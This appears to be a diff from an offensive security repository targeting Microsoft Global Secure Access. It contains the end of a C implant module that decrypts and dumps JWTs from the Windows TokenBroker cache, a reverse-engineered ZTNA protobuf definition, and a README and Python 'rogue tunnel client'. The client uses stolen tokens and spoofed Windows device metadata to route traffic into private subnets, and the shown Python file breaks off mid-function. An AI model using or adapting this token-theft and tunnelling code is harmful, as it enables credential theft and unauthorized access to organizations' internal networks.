BadgerDispatch(dispatch, "[*] DPAPI decrypt OK: %s (%lu bytes)\n",
|
||||
filePath, dataOut.cbData);
|
||||
ScanBufferForJwts(dataOut.pbData, dataOut.cbData, filePath);
|
||||
Kernel32$LocalFree(dataOut.pbData);
|
||||
} else {
|
||||
BadgerDispatch(dispatch, "[!] DPAPI decrypt failed: %s (err=%lu)\n",
|
||||
filePath, Kernel32$GetLastError());
|
||||
}
|
||||
}
|
||||
BadgerFree((PVOID *)&dpapiBlob);
|
||||
}
|
||||
}
|
||||
|
||||
ScanBufferForJwts((const unsigned char *)narrow, narrowLen, filePath);
|
||||
|
||||
int found = g_count - before;
|
||||
if (found > 0)
|
||||
BadgerDispatch(dispatch, "[+] %s -> %d GSA token(s)\n", filePath, found);
|
||||
|
||||
BadgerFree((PVOID *)&narrow);
|
||||
}
|
||||
|
||||
static void ScanDirectory(const char *dir, const char *pattern, WCHAR **dispatch) {
|
||||
char searchPath[MAX_PATH];
|
||||
Msvcrt$sprintf(searchPath, "%s\\%s", dir, pattern);
|
||||
|
||||
WIN32_FIND_DATAA fd;
|
||||
HANDLE hFind = Kernel32$FindFirstFileA(searchPath, &fd);
|
||||
if (hFind == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
int count = 0;
|
||||
do {
|
||||
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
|
||||
char fullPath[MAX_PATH];
|
||||
Msvcrt$sprintf(fullPath, "%s\\%s", dir, fd.cFileName);
|
||||
ProcessFile(fullPath, dispatch);
|
||||
count++;
|
||||
} while (Kernel32$FindNextFileA(hFind, &fd));
|
||||
|
||||
Kernel32$FindClose(hFind);
|
||||
BadgerDispatch(dispatch, "[*] Scanned %d file(s) in %s\n", count, dir);
|
||||
}
|
||||
|
||||
void coffee(char **argv, int argc, WCHAR **dispatch) {
|
||||
g_dispatch = dispatch;
|
||||
g_count = 0;
|
||||
BadgerMemset(g_found, 0, sizeof(g_found));
|
||||
|
||||
BadgerDispatch(dispatch, "============================================\n");
|
||||
BadgerDispatch(dispatch, " GSA Token Extraction from TokenBroker\n");
|
||||
BadgerDispatch(dispatch, "============================================\n\n");
|
||||
|
||||
char userProfile[MAX_PATH];
|
||||
if (Kernel32$GetEnvironmentVariableA("USERPROFILE", userProfile, MAX_PATH) == 0) {
|
||||
BadgerDispatch(dispatch, "[-] Cannot resolve %%USERPROFILE%%\n");
|
||||
return;
|
||||
}
|
||||
|
||||
char dir[MAX_PATH];
|
||||
|
||||
Msvcrt$sprintf(dir, "%s\\AppData\\Local\\Microsoft\\TokenBroker\\Cache", userProfile);
|
||||
BadgerDispatch(dispatch, "[*] Scanning: %s\n", dir);
|
||||
ScanDirectory(dir, "*.tbres", dispatch);
|
||||
|
||||
BadgerDispatch(dispatch, "\n============================================\n");
|
||||
BadgerDispatch(dispatch, " RESULTS: %d GSA token(s) extracted\n", g_count);
|
||||
BadgerDispatch(dispatch, "============================================\n\n");
|
||||
|
||||
if (g_count == 0) {
|
||||
BadgerDispatch(dispatch, "[-] No GSA tokens found in TokenBroker cache\n");
|
||||
BadgerDispatch(dispatch, "[*] Possible causes:\n");
|
||||
BadgerDispatch(dispatch, " - No GSA enrollment on this device\n");
|
||||
BadgerDispatch(dispatch, " - Tokens expired and purged\n");
|
||||
BadgerDispatch(dispatch, " - DPAPI decrypt failed (wrong user context)\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0; i < g_count; i++) {
|
||||
GsaToken *t = &g_found[i];
|
||||
BadgerDispatch(dispatch, "--- %s TOKEN ---\n", t->type);
|
||||
BadgerDispatch(dispatch, "Audience: %s\n", t->audience);
|
||||
BadgerDispatch(dispatch, "Scope: %s\n", t->scope[0] ? t->scope : "N/A");
|
||||
BadgerDispatch(dispatch, "Expiry: %lu\n", t->expiry);
|
||||
BadgerDispatch(dispatch, "Source: %s\n", t->source);
|
||||
BadgerDispatch(dispatch, "JWT:\n");
|
||||
|
||||
int off = 0;
|
||||
while (off < t->len) {
|
||||
int chunk = t->len - off;
|
||||
if (chunk > 200) chunk = 200;
|
||||
char buf[204];
|
||||
BadgerMemcpy(buf, t->jwt + off, chunk);
|
||||
buf[chunk] = '\0';
|
||||
BadgerDispatch(dispatch, "%s\n", buf);
|
||||
off += chunk;
|
||||
}
|
||||
BadgerDispatch(dispatch, "\n");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
// Microsoft Global Secure Access ZTNA v2 Protocol
|
||||
// Extracted from GlobalSecureAccessTunnelingService.exe embedded protobuf descriptor
|
||||
// Binary path: Protos/ztna_v2.proto
|
||||
// C# namespace: Microsoft.Naas.Ztna.Grpc.V2
|
||||
|
||||
syntax = "proto3";
|
||||
|
||||
package microsoft.ztna.v2;
|
||||
|
||||
enum ConnectionProtocol {
|
||||
UNDEFINED = 0;
|
||||
IP = 3;
|
||||
TCP = 6;
|
||||
UDP = 17;
|
||||
}
|
||||
|
||||
enum TrafficProfile {
|
||||
PROFILE_UNDEFINED = 0;
|
||||
INTERNET = 1;
|
||||
PRIVATE_ACCESS = 2;
|
||||
M365 = 3;
|
||||
}
|
||||
|
||||
enum CrossTenantAccessType {
|
||||
CROSS_TENANT_ACCESS_NONE = 0;
|
||||
B2B_COLLABORATION = 1;
|
||||
}
|
||||
|
||||
enum DeviceJoinType {
|
||||
DEVICE_JOIN_NONE = 0;
|
||||
MICROSOFT_ENTRA_JOINED = 1;
|
||||
MICROSOFT_ENTRA_REGISTERED = 2;
|
||||
}
|
||||
|
||||
enum CloseReason {
|
||||
CLOSE_REASON_UNKNOWN = 0;
|
||||
CLOSE_REASON_TOKEN_EXPIRED = 1;
|
||||
}
|
||||
|
||||
message ClientPolicyMetadata {
|
||||
string fw_policy_version = 1;
|
||||
}
|
||||
|
||||
message ClientDeviceInfo {
|
||||
string client_agent_version = 1;
|
||||
string client_os_type = 2;
|
||||
string client_os_version = 3;
|
||||
string client_device_id = 4;
|
||||
string client_os_name = 5;
|
||||
ClientPolicyMetadata client_policy_metadata = 6;
|
||||
string client_device_name = 7;
|
||||
string client_os_architecture = 8;
|
||||
DeviceJoinType client_device_join_type = 9;
|
||||
}
|
||||
|
||||
message ClientFlowMetadata {
|
||||
string correlation_id = 1;
|
||||
string tunnel_id = 2;
|
||||
string destination_ip = 3;
|
||||
string destination_host = 4;
|
||||
int32 destination_port = 5;
|
||||
string client_resolved_ips = 6;
|
||||
string client_invoked_process_name = 7;
|
||||
string app_token = 8;
|
||||
ConnectionProtocol protocol = 9;
|
||||
}
|
||||
|
||||
message CreateTunnelMessage {
|
||||
string tunnel_token = 1;
|
||||
ClientDeviceInfo agent_metadata = 2;
|
||||
}
|
||||
|
||||
message CreateTunnelNoTokenMessage {
|
||||
ClientDeviceInfo agent_metadata = 1;
|
||||
}
|
||||
|
||||
message TunnelAuthenticationRequest {
|
||||
string tunnel_token = 1;
|
||||
}
|
||||
|
||||
message FlowAuthenticationRequest {
|
||||
ClientFlowMetadata metadata = 1;
|
||||
}
|
||||
|
||||
message TunnelCreatedMessage {
|
||||
string tunnel_id = 1;
|
||||
string claim_challenge = 2;
|
||||
string azure_region_display_name = 3;
|
||||
string server_geo_location = 4;
|
||||
}
|
||||
|
||||
message TunnelAuthenticationRequired {
|
||||
string claim_challenge = 1;
|
||||
}
|
||||
|
||||
message TunnelAuthenticationSuccessResponse {
|
||||
}
|
||||
|
||||
message TunnelAuthenticationFailedResponse {
|
||||
}
|
||||
|
||||
message TunnelClosedMessage {
|
||||
string tunnel_id = 1;
|
||||
CloseReason close_reason = 2;
|
||||
string error_message = 3;
|
||||
}
|
||||
|
||||
message FlowClosedReason {
|
||||
string close_status_code = 1;
|
||||
string ui_description = 2;
|
||||
string detailed_description = 3;
|
||||
string notification_aggregation_key = 4;
|
||||
string ui_title = 5;
|
||||
}
|
||||
|
||||
message FlowClosedMessage {
|
||||
FlowClosedReason reason = 1;
|
||||
string correlation_id = 2;
|
||||
string client_invoked_process_name = 3;
|
||||
}
|
||||
|
||||
message FlowAuthenticationSuccessResponse {
|
||||
string correlation_id = 1;
|
||||
}
|
||||
|
||||
message FlowAuthenticationFailureResponse {
|
||||
string correlation_id = 1;
|
||||
}
|
||||
|
||||
// Client control message — field numbers 2-9 are reserved
|
||||
message ClientControlMessage {
|
||||
string correlation_vector = 1;
|
||||
reserved 2 to 9;
|
||||
oneof payload {
|
||||
CreateTunnelMessage create_tunnel = 10;
|
||||
TunnelAuthenticationRequest authentication_request = 11;
|
||||
CreateTunnelNoTokenMessage create_tunnel_no_token = 12;
|
||||
FlowAuthenticationRequest flow_authentication_request = 13;
|
||||
}
|
||||
}
|
||||
|
||||
// Server control message — field numbers 2-9 are reserved
|
||||
message ServerControlMessage {
|
||||
string correlation_vector = 1;
|
||||
reserved 2 to 9;
|
||||
oneof payload {
|
||||
TunnelCreatedMessage tunnel_created = 10;
|
||||
TunnelAuthenticationRequired tunnel_authentication_required = 11;
|
||||
TunnelAuthenticationSuccessResponse tunnel_authentication_success_response = 12;
|
||||
TunnelAuthenticationFailedResponse tunnel_authentication_failed_response = 13;
|
||||
TunnelClosedMessage tunnel_closed = 14;
|
||||
FlowClosedMessage flow_closed = 15;
|
||||
FlowAuthenticationSuccessResponse flow_authentication_success = 16;
|
||||
FlowAuthenticationFailureResponse flow_authentication_failure = 17;
|
||||
}
|
||||
}
|
||||
|
||||
message ClientFlowMessage {
|
||||
ClientFlowMetadata metadata = 1;
|
||||
bytes packet = 2;
|
||||
}
|
||||
|
||||
message ServerFlowMessage {
|
||||
bytes packet = 1;
|
||||
}
|
||||
|
||||
service Ztna {
|
||||
rpc CreateControlChannel(stream ClientControlMessage) returns (stream ServerControlMessage);
|
||||
rpc CreateFlow(stream ClientFlowMessage) returns (stream ServerFlowMessage);
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
# GSA Rogue Tunnel Client
|
||||
|
||||
A standalone Linux tunnel client for Microsoft Global Secure Access (ZTNA v2). Connects to Microsoft's edge servers using stolen or acquired tokens and routes arbitrary traffic through the ZTNA tunnel via a TUN interface.
|
||||
|
||||
## How It Works
|
||||
|
||||
1. **Authentication** — Three JWT tokens are needed: Tunnel (creates the tunnel), PortoToken (per-flow app authorization), and APS (bearer token on data flows). Tokens are extracted from a GSA-enrolled Windows device.
|
||||
|
||||
2. **Tunnel establishment** — Opens a bidirectional gRPC stream (`CreateControlChannel`) to the edge server, sends `CreateTunnelMessage` with the tunnel token and spoofed device metadata.
|
||||
|
||||
3. **TUN device** — Creates a Linux TUN interface (`gsa0`), assigns an IP, and replaces kernel routes so traffic to target subnets flows through the tunnel.
|
||||
|
||||
4. **Packet forwarding** — Reads raw IPv4 packets from TUN, creates per-connection gRPC flows (`CreateFlow`), and forwards packets bidirectionally. Responses from the server are written back to TUN for the kernel to deliver to applications.
|
||||
|
||||
5. **Flow lifecycle** — Each TCP connection or UDP destination gets its own gRPC flow. Flows are pre-authenticated on the control channel before data transfer. Stale flows are cleaned up after 120 seconds of inactivity.
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
# Create virtual environment and install dependencies
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
pip install grpcio grpcio-tools protobuf msal
|
||||
|
||||
# Generate protobuf stubs from the proto definition
|
||||
python -m grpc_tools.protoc \
|
||||
--proto_path=../proto \
|
||||
--python_out=. \
|
||||
--grpc_python_out=. \
|
||||
../proto/ztna_v2.proto
|
||||
```
|
||||
|
||||
## Token Acquisition
|
||||
|
||||
### Option 1: Extract from Windows device
|
||||
|
||||
Dump tokens from a GSA-enrolled device using the `gsa_tbres_steal` BOF, System Informer, or any method that can read TokenBroker `.tbres` files. Save the raw output to a file.
|
||||
|
||||
```bash
|
||||
# The tunnel client parses JWT tokens from the dump by audience
|
||||
sudo python3 gsa_tunnel.py --token-file /path/to/token_dump.txt
|
||||
```
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# Basic — auto-extract tokens, route RFC1918 subnets through tunnel
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token
|
||||
|
||||
# Specific subnet only
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token --routes 192.168.255.0/24
|
||||
|
||||
# Custom tenant
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token --tenant <tenant-id>
|
||||
|
||||
# Debug logging
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token -v
|
||||
|
||||
# Skip DNS modification
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token --no-dns
|
||||
```
|
||||
|
||||
## Token Audiences
|
||||
|
||||
| Token | Audience | Client ID | Used For |
|
||||
|-------|----------|-----------|----------|
|
||||
| Tunnel | `e92b9b37-1b47-4c01-9fbc-91d84450870e` | `cde6adac-0a5a-4a30-adaa-413e95264b5a` | `CreateTunnelMessage.tunnel_token` |
|
||||
| Porto | `79486f61-d9f0-430e-9f7c-1713c8d9a2f9` | `760282b4-0cfc-4952-b467-c8e0298fee16` | `ClientFlowMetadata.app_token` |
|
||||
| APS | `b3fa0115-39b3-4bec-8cc6-8c4fcd33e69d` | `ca01d00c-d191-45f2-87d5-7d5b9e9baea4` | `Authorization: Bearer` on `CreateFlow` |
|
||||
|
||||
Tokens expire in ~75 minutes.
|
||||
|
||||
## Limitations
|
||||
|
||||
- Requires root for TUN device creation and route management
|
||||
- Only TCP and UDP traffic is tunneled (no ICMP)
|
||||
- Token refresh is not automated — re-run token acquisition when tokens expire
|
||||
- Connector must be online and able to reach the target resource
|
||||
Executable
+695
@@ -0,0 +1,695 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import grpc
|
||||
import uuid
|
||||
import time
|
||||
import struct
|
||||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import argparse
|
||||
import json
|
||||
import base64
|
||||
import os
|
||||
import sys
|
||||
import signal
|
||||
import fcntl
|
||||
import subprocess
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Optional, Dict, Tuple
|
||||
from queue import Queue, Empty
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
import ztna_v2_pb2
|
||||
import ztna_v2_pb2_grpc
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s %(levelname)s [%(name)s] %(message)s',
|
||||
datefmt='%H:%M:%S',
|
||||
)
|
||||
logger = logging.getLogger('gsa-tunnel')
|
||||
|
||||
EDGE_TEMPLATE = "{tenant}.private.client.globalsecureaccess.microsoft.com:443"
|
||||
DEFAULT_TENANT = ""
|
||||
DEVICE_ID = "00000000-0000-0000-0000-000000000000"
|
||||
GSA_DNS_SERVER = "6.6.255.254"
|
||||
TUN_NAME = "gsa0"
|
||||
TUN_ADDR = "10.128.0.2"
|
||||
TUN_NETMASK = "255.255.255.0"
|
||||
TUN_MTU = 1400
|
||||
|
||||
TUNSETIFF = 0x400454CA
|
||||
IFF_TUN = 0x0001
|
||||
IFF_NO_PI = 0x1000
|
||||
|
||||
DEFAULT_ROUTES = [
|
||||
"192.168.0.0/16",
|
||||
"10.0.0.0/8",
|
||||
"172.16.0.0/12",
|
||||
]
|
||||
|
||||
AUD_PORTO = "79486f61-d9f0-430e-9f7c-1713c8d9a2f9"
|
||||
AUD_APS = "b3fa0115-39b3-4bec-8cc6-8c4fcd33e69d"
|
||||
AUD_TUNNEL = "e92b9b37-1b47-4c01-9fbc-91d84450870e"
|
||||
|
||||
def decode_jwt_payload(token: str) -> dict:
|
||||
parts = token.split('.')
|
||||
if len(parts) < 2:
|
||||
return {}
|
||||
payload = parts[1] + '=' * (4 - len(parts[1]) % 4)
|
||||
return json.loads(base64.urlsafe_b64decode(payload))
|
||||
|
||||
def extract_tokens_from_dump(path: str) -> Dict[str, str]:
|
||||
with open(path) as f:
|
||||
content = f.read()
|
||||
|
||||
tokens_by_aud = {}
|
||||
for line in content.split('\n'):
|
||||
for part in line.split():
|
||||
if not part.startswith('eyJ') or '.' not in part:
|
||||
continue
|
||||
try:
|
||||
claims = decode_jwt_payload(part)
|
||||
aud = claims.get('aud', '')
|
||||
exp = claims.get('exp', 0)
|
||||
if aud and (aud not in tokens_by_aud or exp > decode_jwt_payload(tokens_by_aud[aud]).get('exp', 0)):
|
||||
tokens_by_aud[aud] = part
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
return tokens_by_aud
|
||||
|
||||
def load_token_file(path: str) -> str:
|
||||
with open(path) as f:
|
||||
return f.read().strip()
|
||||
|
||||
def ip_checksum(data: bytes) -> int:
|
||||
if len(data) % 2:
|
||||
data += b'\x00'
|
||||
s = sum(struct.unpack(f'!{len(data)//2}H', data))
|
||||
s = (s >> 16) + (s & 0xFFFF)
|
||||
s += s >> 16
|
||||
return ~s & 0xFFFF
|
||||
|
||||
class TunDevice:
|
||||
def __init__(self, name: str = TUN_NAME, addr: str = TUN_ADDR, mtu: int = TUN_MTU):
|
||||
self.name = name
|
||||
self.addr = addr
|
||||
self.mtu = mtu
|
||||
self.fd = None
|
||||
|
||||
def open(self):
|
||||
subprocess.run(['ip', 'link', 'delete', self.name],
|
||||
capture_output=True, timeout=5)
|
||||
self.fd = os.open('/dev/net/tun', os.O_RDWR)
|
||||
ifr = struct.pack('16sH', self.name.encode(), IFF_TUN | IFF_NO_PI)
|
||||
fcntl.ioctl(self.fd, TUNSETIFF, ifr)
|
||||
logger.info(f"TUN device '{self.name}' created")
|
||||
|
||||
def configure(self, routes: list):
|
||||
self._saved_routes = []
|
||||
cmds = [
|
||||
['ip', 'addr', 'add', f'{self.addr}/24', 'dev', self.name],
|
||||
['ip', 'link', 'set', 'dev', self.name, 'mtu', str(self.mtu)],
|
||||
['ip', 'link', 'set', 'dev', self.name, 'up'],
|
||||
]
|
||||
for cmd in cmds:
|
||||
ret = subprocess.run(cmd, capture_output=True, text=True)
|
||||
if ret.returncode != 0 and 'File exists' not in ret.stderr:
|
||||
logger.warning(f"cmd failed: {' '.join(cmd)} — {ret.stderr.strip()}")
|
||||
|
||||
for route in routes:
|
||||
# Save existing route for restoration on shutdown
|
||||
existing = subprocess.run(
|
||||
['ip', 'route', 'show', route],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
if existing.stdout.strip():
|
||||
self._saved_routes.append(existing.stdout.strip())
|
||||
|
||||
# Use 'replace' to override any existing route
|
||||
ret = subprocess.run(
|
||||
['ip', 'route', 'replace', route, 'dev', self.name],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
if ret.returncode != 0:
|
||||
logger.warning(f"route failed: {route} — {ret.stderr.strip()}")
|
||||
else:
|
||||
logger.info(f" Route: {route} → {self.name}")
|
||||
|
||||
logger.info(f"TUN configured: {self.addr}/24, MTU={self.mtu}, {len(routes)} routes forced through tunnel")
|
||||
|
||||
def read(self) -> bytes:
|
||||
return os.read(self.fd, self.mtu + 100)
|
||||
|
||||
def write(self, data: bytes):
|
||||
os.write(self.fd, data)
|
||||
|
||||
def close(self):
|
||||
if self.fd is not None:
|
||||
os.close(self.fd)
|
||||
self.fd = None
|
||||
for route_line in getattr(self, '_saved_routes', []):
|
||||
subprocess.run(
|
||||
['ip', 'route', 'replace'] + route_line.split(),
|
||||
capture_output=True, timeout=5
|
||||
)
|
||||
logger.info(f" Restored route: {route_line}")
|
||||
subprocess.run(['ip', 'link', 'delete', self.name],
|
||||
capture_output=True, timeout=5)
|
||||
logger.info(f"TUN device '{self.name}' removed")
|
||||
|
||||
|
||||
@dataclass
|
||||
class FlowState:
|
||||
key: Tuple
|
||||
correlation_id: str
|
||||
send_queue: Queue = field(default_factory=Queue)
|
||||
active: bool = True
|
||||
created_at: float = field(default_factory=time.monotonic)
|
||||
last_activity: float = field(default_factory=time.monotonic)
|
||||
thread: Optional[threading.Thread] = None
|
||||
|
||||
class GSATunnel:
|
||||
def __init__(self, tunnel_token: str, porto_token: str, aps_token: str,
|
||||
edge: str, routes: list, tun_addr: str = TUN_ADDR,
|
||||
dns_override: str = None):
|
||||
self.tunnel_token = tunnel_token
|
||||
self.porto_token = porto_token
|
||||
self.aps_token = aps_token
|
||||
self.edge = edge
|
||||
self.routes = routes
|
||||
self.tun_addr = tun_addr
|
||||
self.dns_server = dns_override or GSA_DNS_SERVER
|
||||
|
||||
self.channel = None
|
||||
self.stub = None
|
||||
self.tunnel_id = None
|
||||
self.control_active = False
|
||||
self.running = False
|
||||
self.msg_queue = []
|
||||
self.flow_auth_results: Dict[str, str] = {}
|
||||
|
||||
self.tun = TunDevice(addr=tun_addr)
|
||||
self.flows: Dict[Tuple, FlowState] = {}
|
||||
self.flows_lock = threading.Lock()
|
||||
|
||||
self.packets_in = 0
|
||||
self.packets_out = 0
|
||||
self.flows_created = 0
|
||||
|
||||
def _make_device_info(self):
|
||||
return ztna_v2_pb2.ClientDeviceInfo(
|
||||
client_agent_version="GsaTunnelSvc/2.1.1.0",
|
||||
client_os_type="Windows",
|
||||
client_os_version="10.0.26100",
|
||||
client_device_id=DEVICE_ID,
|
||||
client_os_name="Windows 11 Enterprise",
|
||||
client_device_name="GSA-Client",
|
||||
client_os_architecture="x86_64",
|
||||
)
|
||||
|
||||
def connect(self) -> bool:
|
||||
logger.info(f"Connecting to {self.edge}")
|
||||
try:
|
||||
creds = grpc.ssl_channel_credentials()
|
||||
self.channel = grpc.secure_channel(self.edge, creds, options=[
|
||||
('grpc.keepalive_time_ms', 30000),
|
||||
('grpc.keepalive_permit_without_calls', 1),
|
||||
('grpc.max_receive_message_length', 16 * 1024 * 1024),
|
||||
])
|
||||
grpc.channel_ready_future(self.channel).result(timeout=10.0)
|
||||
self.stub = ztna_v2_pb2_grpc.ZtnaStub(self.channel)
|
||||
logger.info("gRPC channel ready")
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.error(f"Connection failed: {e}")
|
||||
return False
|
||||
|
||||
def establish_tunnel(self) -> bool:
|
||||
self.control_active = True
|
||||
|
||||
def control_gen():
|
||||
yield ztna_v2_pb2.ClientControlMessage(
|
||||
correlation_vector=f"cv.{uuid.uuid4().hex[:16]}.0",
|
||||
create_tunnel=ztna_v2_pb2.CreateTunnelMessage(
|
||||
tunnel_token=self.tunnel_token,
|
||||
agent_metadata=self._make_device_info(),
|
||||
)
|
||||
)
|
||||
while self.control_active:
|
||||
if self.msg_queue:
|
||||
yield self.msg_queue.pop(0)
|
||||
else:
|
||||
time.sleep(0.05)
|
||||
|
||||
try:
|
||||
self._responses = self.stub.CreateControlChannel(control_gen())
|
||||
resp = next(self._responses)
|
||||
if resp.WhichOneof('payload') != 'tunnel_created':
|
||||
payload_type = resp.WhichOneof('payload')
|
||||
if payload_type == 'tunnel_authentication_required':
|
||||
logger.error("Tunnel auth required — token may be expired")
|
||||
else:
|
||||
logger.error(f"Tunnel creation failed: {payload_type}")
|
||||
return False
|
||||
|
||||
self.tunnel_id = resp.tunnel_created.tunnel_id
|
||||
region = resp.tunnel_created.azure_region_display_name
|
||||
geo = resp.tunnel_created.server_geo_location
|
||||
logger.info(f"Tunnel established: {self.tunnel_id[:12]}...")
|
||||
logger.info(f" Region: {region} | Geo: {geo}")
|
||||
|
||||
threading.Thread(target=self._control_reader, daemon=True).start()
|
||||
return True
|
||||
|
||||
except grpc.RpcError as e:
|
||||
logger.error(f"Control channel error: {e.code()} — {e.details()}")
|
||||
return False
|
||||
|
||||
def _control_reader(self):
|
||||
try:
|
||||
for r in self._responses:
|
||||
w = r.WhichOneof('payload')
|
||||
if w == 'flow_authentication_success':
|
||||
cid = r.flow_authentication_success.correlation_id or '_empty'
|
||||
self.flow_auth_results[cid] = 'success'
|
||||
elif w == 'flow_authentication_failure':
|
||||
cid = r.flow_authentication_failure.correlation_id or '_empty'
|
||||
self.flow_auth_results[cid] = 'failure'
|
||||
logger.debug(f"Flow auth failure: {cid[:8]}")
|
||||
elif w == 'flow_closed':
|
||||
fc = r.flow_closed
|
||||
cid = fc.correlation_id
|
||||
detail = ""
|
||||
if fc.reason:
|
||||
detail = f" [{fc.reason.close_status_code}] {fc.reason.detailed_description}"
|
||||
logger.debug(f"Flow closed: {cid[:8]}{detail}")
|
||||
self._cleanup_flow_by_cid(cid)
|
||||
elif w == 'tunnel_closed':
|
||||
logger.warning(f"Tunnel closed by server: {r.tunnel_closed.error_message}")
|
||||
self.control_active = False
|
||||
self.running = False
|
||||
break
|
||||
else:
|
||||
logger.debug(f"Control msg: {w}")
|
||||
except grpc.RpcError:
|
||||
if self.running:
|
||||
logger.warning("Control channel disconnected")
|
||||
self.running = False
|
||||
|
||||
def _cleanup_flow_by_cid(self, cid: str):
|
||||
with self.flows_lock:
|
||||
for key, flow in list(self.flows.items()):
|
||||
if flow.correlation_id == cid:
|
||||
flow.active = False
|
||||
flow.send_queue.put(None)
|
||||
del self.flows[key]
|
||||
break
|
||||
|
||||
def _pre_auth_flow(self, meta, timeout=3.0) -> str:
|
||||
cid = meta.correlation_id
|
||||
self.flow_auth_results.pop(cid, None)
|
||||
self.flow_auth_results.pop('_empty', None)
|
||||
|
||||
self.msg_queue.append(ztna_v2_pb2.ClientControlMessage(
|
||||
correlation_vector=f"cv.{uuid.uuid4().hex[:16]}.0",
|
||||
flow_authentication_request=ztna_v2_pb2.FlowAuthenticationRequest(metadata=meta)
|
||||
))
|
||||
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if cid in self.flow_auth_results:
|
||||
return self.flow_auth_results.pop(cid)
|
||||
if '_empty' in self.flow_auth_results:
|
||||
return self.flow_auth_results.pop('_empty')
|
||||
time.sleep(0.02)
|
||||
return 'timeout'
|
||||
|
||||
def _get_flow_key(self, packet: bytes) -> Optional[Tuple]:
|
||||
if len(packet) < 20:
|
||||
return None
|
||||
version = (packet[0] >> 4) & 0xF
|
||||
if version != 4:
|
||||
return None
|
||||
|
||||
proto = packet[9]
|
||||
if proto not in (6, 17):
|
||||
return None
|
||||
|
||||
dst_ip = socket.inet_ntoa(packet[16:20])
|
||||
|
||||
first_octet = packet[16]
|
||||
if first_octet >= 224:
|
||||
return None
|
||||
|
||||
ihl = (packet[0] & 0xF) * 4
|
||||
transport = packet[ihl:]
|
||||
if len(transport) < 4:
|
||||
return None
|
||||
|
||||
dst_port = struct.unpack('!H', transport[2:4])[0]
|
||||
|
||||
# For TCP, include src_port to distinguish connections
|
||||
if proto == 6:
|
||||
src_port = struct.unpack('!H', transport[0:2])[0]
|
||||
return (dst_ip, dst_port, proto, src_port)
|
||||
|
||||
return (dst_ip, dst_port, proto)
|
||||
|
||||
def _create_flow(self, key: Tuple, first_packet: bytes) -> Optional[FlowState]:
|
||||
dst_ip = key[0]
|
||||
dst_port = key[1]
|
||||
proto = key[2]
|
||||
|
||||
cid = str(uuid.uuid4())
|
||||
meta = ztna_v2_pb2.ClientFlowMetadata(
|
||||
correlation_id=cid,
|
||||
tunnel_id=self.tunnel_id,
|
||||
destination_ip=dst_ip,
|
||||
destination_host="",
|
||||
destination_port=dst_port,
|
||||
protocol=proto,
|
||||
client_resolved_ips="",
|
||||
client_invoked_process_name="svchost.exe",
|
||||
app_token=self.porto_token,
|
||||
)
|
||||
|
||||
auth_result = self._pre_auth_flow(meta)
|
||||
if auth_result == 'failure':
|
||||
logger.debug(f"Flow auth denied: {dst_ip}:{dst_port}/{proto}")
|
||||
return None
|
||||
|
||||
flow_state = FlowState(key=key, correlation_id=cid)
|
||||
flow_state.send_queue.put(first_packet)
|
||||
|
||||
def run_flow():
|
||||
self._flow_worker(flow_state, meta)
|
||||
|
||||
flow_state.thread = threading.Thread(target=run_flow, daemon=True)
|
||||
flow_state.thread.start()
|
||||
self.flows_created += 1
|
||||
return flow_state
|
||||
|
||||
def _flow_worker(self, state: FlowState, meta):
|
||||
def flow_gen():
|
||||
yield ztna_v2_pb2.ClientFlowMessage(metadata=meta)
|
||||
time.sleep(0.1)
|
||||
while state.active:
|
||||
try:
|
||||
pkt = state.send_queue.get(timeout=0.5)
|
||||
if pkt is None:
|
||||
break
|
||||
yield ztna_v2_pb2.ClientFlowMessage(packet=pkt)
|
||||
state.last_activity = time.monotonic()
|
||||
except Empty:
|
||||
if time.monotonic() - state.last_activity > 120:
|
||||
break
|
||||
|
||||
try:
|
||||
bearer = self.aps_token or self.porto_token
|
||||
grpc_meta = [('authorization', f'Bearer {bearer}')]
|
||||
stream = self.stub.CreateFlow(flow_gen(), metadata=grpc_meta)
|
||||
|
||||
for resp in stream:
|
||||
if not state.active:
|
||||
break
|
||||
if resp.packet:
|
||||
state.last_activity = time.monotonic()
|
||||
self.tun.write(resp.packet)
|
||||
self.packets_in += 1
|
||||
|
||||
except grpc.RpcError as e:
|
||||
code = e.code()
|
||||
if code != grpc.StatusCode.CANCELLED:
|
||||
logger.debug(f"Flow {state.correlation_id[:8]} ended: {code}")
|
||||
finally:
|
||||
state.active = False
|
||||
with self.flows_lock:
|
||||
self.flows.pop(state.key, None)
|
||||
|
||||
def _flow_cleanup(self):
|
||||
while self.running:
|
||||
time.sleep(30)
|
||||
now = time.monotonic()
|
||||
with self.flows_lock:
|
||||
stale = [k for k, f in self.flows.items()
|
||||
if now - f.last_activity > 120]
|
||||
for k in stale:
|
||||
self.flows[k].active = False
|
||||
self.flows[k].send_queue.put(None)
|
||||
del self.flows[k]
|
||||
if stale:
|
||||
logger.debug(f"Cleaned {len(stale)} stale flows")
|
||||
|
||||
def _tun_reader(self):
|
||||
while self.running:
|
||||
try:
|
||||
packet = self.tun.read()
|
||||
if not packet:
|
||||
continue
|
||||
|
||||
key = self._get_flow_key(packet)
|
||||
if key is None:
|
||||
continue
|
||||
|
||||
self.packets_out += 1
|
||||
|
||||
with self.flows_lock:
|
||||
flow = self.flows.get(key)
|
||||
|
||||
if flow and flow.active:
